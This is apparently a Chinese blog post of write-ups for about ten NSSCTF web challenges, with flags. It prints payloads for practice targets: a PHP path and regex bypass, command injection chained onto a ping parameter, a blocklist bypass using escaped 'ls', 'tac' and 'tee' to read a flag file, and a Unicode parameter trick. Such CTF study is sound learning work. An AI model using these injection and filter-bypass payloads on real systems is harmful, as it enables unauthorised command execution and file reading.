NSSCTF之Web篇刷题记录(12)

NSSCTF平台:https://www.nssctf.cn/
PS:记得所有的flag都改为NSSCTF

[NCTF 2018]签到题:

打开是一个search.php 查看源代码都没有找到flag,最后在index.php的响应头找到了!

在这里插入图片描述

NSSCTF{w3lc0m3_t0_nctf2018hhhhhhhhhhhh}

[鹤城杯 2021]EasyP:

<?php
include 'utils.php';

if (isset($_POST['guess'])) {
    $guess = (string) $_POST['guess'];
    if ($guess === $secret) {
        $message = 'Congratulations! The flag is: ' . $flag;
    } else {
        $message = 'Wrong. Try Again';
    }
}

if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
    exit("hacker :)");
}

if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
    exit("hacker :)");
}

if (isset($_GET['show_source'])) {
    highlight_file(basename($_SERVER['PHP_SELF']));
    exit();
}else{
    show_source(__FILE__);
}
?> 

分析一下代码$_SERVE[‘PHP_SELF’] 调用的脚本的路径
$_SERVER[‘REQUEST_URI’]取得当前URI,也就是除域名外后面的完整的地址路径
basename函数: 返回路径中的文件名部分。

在这里插入图片描述
现在需要绕过preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF']和正则 只要在php\后面加一个非ascll码就行比如汉字 由于preg_match正则匹配,我们不能直接输入show_source=‘’ 所以可以将show_source变为show[source
绕过preg_match正则方法是,在 index.php/utils.php后面添加一个非ascii表中的字符(很多都可以)

payload:/index.php/utils.php/巧克力?show[source=1

**加粗样式**

NSSCTF{9ce4af3e-811f-49cd-a8f3-544efa897fb9}

[NSSCTF 2022 Spring Recruit]ezgame:

玩游戏65分给你flag(懒得玩)提示给的是js所以我们找一下,在js/preload.js中找到FLAG

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

NSSCTF{c0700f5b-604f-4b8f-b017-4be822fb5de6}

[GXYCTF 2019]Ping Ping Ping:

这题之前讲过可以参考链接https://blog.csdn.net/Aluxian_/article/details/130053100?spm=1001.2014.3001.5501

Payload:?ip=127.0.0.1;cat$IFS$9`ls`

在这里插入图片描述
在这里插入图片描述

NSSCTF{8117affa-f16d-4085-b644-696ae9b83a2c}

[SWPUCTF 2021 新生赛]finalrce:

在这里插入图片描述

 <?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
    $url=$_GET['url'];
    if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
    {
        echo "Sorry,you can't use this.";
    }
    else
    {
        echo "Can you see anything?";
        exec($url);
    }
} 

preg_match 函数用于执行一个正则表达式匹配,这里看到基本上过滤了很多命令cat,ls这种都不能使用了 可以使用tee命令

由于ls正则表达被过滤,所以我们还需要绕过preg_match 可以使用反斜杠(\)转义字符

这里的tee功能是从标准输入读取,再写入标准输出和文件 Payload:?url=l\s / |tee 1.txt 然后访问1.txt看到flllllaaaaaaggggggg

在这里插入图片描述
tac没有被过滤然后直接 构造Payload:?url=tac /flllll\aaaaaaggggggg | tee 9.txt (记得|后面要空格)在访问9.txt

在这里插入图片描述
在这里插入图片描述

NSSCTF{9dccd221-4cd1-41f7-9feb-3c463839eb88}

[NISACTF 2022]checkin:

提示:尝试复制源码看看->010editor

识别到Unicode特殊字符复制到VScode中 复制下来URLencode编码一下

在这里插入图片描述

Payload:?ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6Ugeiwo%E2%81%A9%E2%81%A6cuishiyuan=%E2%80%AE%E2%81%A6 Flag!%E2%81%A9%E2%81%A6N1SACTF

在这里插入图片描述

NSSCTF{5359287b-d34e-4df8-ac95-1670f011cf2c}

[UUCTF 2022 新生赛]websign:

在这里插入图片描述

[GDOUCTF 2023]hate eat snake:

通过即可得到flag 或者先G几次 然后点取消,等六十秒左右,再按空格就会出flag

在这里插入图片描述
在这里插入图片描述

[HNCTF 2022 Week1]2048:

很经典的一个游戏了直接F12查看源代码 找到js 进去查看alert()输出复制到控制台运行即可。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

NSSCTF{53160c888e25c3f828b23e316a7ae083}

[HDCTF 2023]Welcome To HDCTF 2023:

正常玩游戏 G了就会给FLAG,或者去js找,找到了一个JSFuck编码解码即可。

在这里插入图片描述
在这里插入图片描述

NSSCTF{We13ome_t@_HDCTF_2o23}

评论 9
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

落寞的魚丶

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值